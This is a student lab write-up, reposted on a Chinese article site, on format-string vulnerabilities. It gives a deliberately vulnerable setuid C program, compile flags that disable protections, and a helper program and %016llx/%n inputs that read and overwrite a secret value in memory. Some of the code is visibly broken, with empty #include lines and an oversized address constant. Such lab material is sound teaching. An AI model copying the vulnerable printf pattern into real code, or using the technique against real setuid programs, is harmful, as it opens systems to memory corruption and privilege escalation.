栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

2021-2022-1 20212824《Linux内核原理与分析》第十二周作业

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

2021-2022-1 20212824《Linux内核原理与分析》第十二周作业

前置知识

格式化字符串漏洞是由像 printf(user_input) 这样的代码引起的,其中 user_input 是用户输入的数据,具有 Set-UID root 权限的这类程序在运行的时候,printf 语句将会变得非常危险,因为它可能会导致下面的结果:

  • 使得程序崩溃
  • 任意一块内存读取数据
  • 修改任意一块内存里的数据
格式化字符串

printf ("The magic number is: %d", 1911);
如上 C 语言代码运行结果为 The magic number is: 1911
可以看出字符串 The magic number is: %d 中的格式符 %d 被参数1911替换。


格式化函数的行为由格式化字符串控制,printf 函数从栈上取得参数。
printf ("a has value %d, b has value %d, c is at address: %08xn",a, b, &c);

找secret的值 vul_prog.c
 
#include 
#include 

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  long int_input;
  int a, b, c, d; 

  
  secret = (int *) malloc(2*sizeof(int));

  
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)n", &secret[1]);

  printf("Please enter a decimal integern");
  scanf("%d", &int_input);  
  printf("Please enter a stringn");
  scanf("%s", user_input); 

  
  printf(user_input);  
  printf("n");

  
  printf("The original secrets: 0x%x -- 0x%xn", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%xn", secret[0], secret[1]);
  return 0;
}

然后编译
$ gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
$ sudo chmod u+s vul_prog

运行vul_prog

运行 vul_prog 程序去定位 int_input 的位置,这样就确认了 %s 在格式字符串中的位置。
输入 secret[1] 的地址,记得做进制转换,同时在格式字符串中加入 %s .

修改secret的值

修改为期望值

使用格式化填充

修改vul_prog.c

把第一个 scanf 语句去掉,并去掉与 int_input 变量相关的所有语句

 
#include 
#include 

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int a, b, c, d; 

  
  secret = (int *) malloc(2*sizeof(int));

  
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)n", &secret[1]);

  printf("Please enter a stringn");
  scanf("%s", user_input); 

  
  printf(user_input);  
  printf("n");

  
  printf("The original secrets: 0x%x -- 0x%xn", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%xn", secret[0], secret[1]);
  return 0;
}
write_string.c

#include 
#include 
#include 
int main()
{
    char buf[1000];
    int fp, size;
    unsigned int *address;
    
    address = (unsigned int *) buf;
    *address = 0x113222580;
    
    scanf("%s", buf+4);
    size = strlen(buf+4) + 4;
    printf("The string length is %dn", size);
    
    fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (fp != -1) {
        write(fp, buf, size);
        close(fp);
    } else {
        printf("Open failed!n");
    }
}
编译

rm vul_prog
gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c
gcc -o write_string write_string.c

运行

先运行 vul_prog 程序,输入 4 个 %016llx 。再运行 write_string 程序,输入 8 个 %016llx 和 1 个 %n ,此操作会生成一个 mystring 文件。
然后./vul_prog < mystring

最终成功:0x8c = 140 = 8*16+8 个逗号+开头 4 个字节

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/642245.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号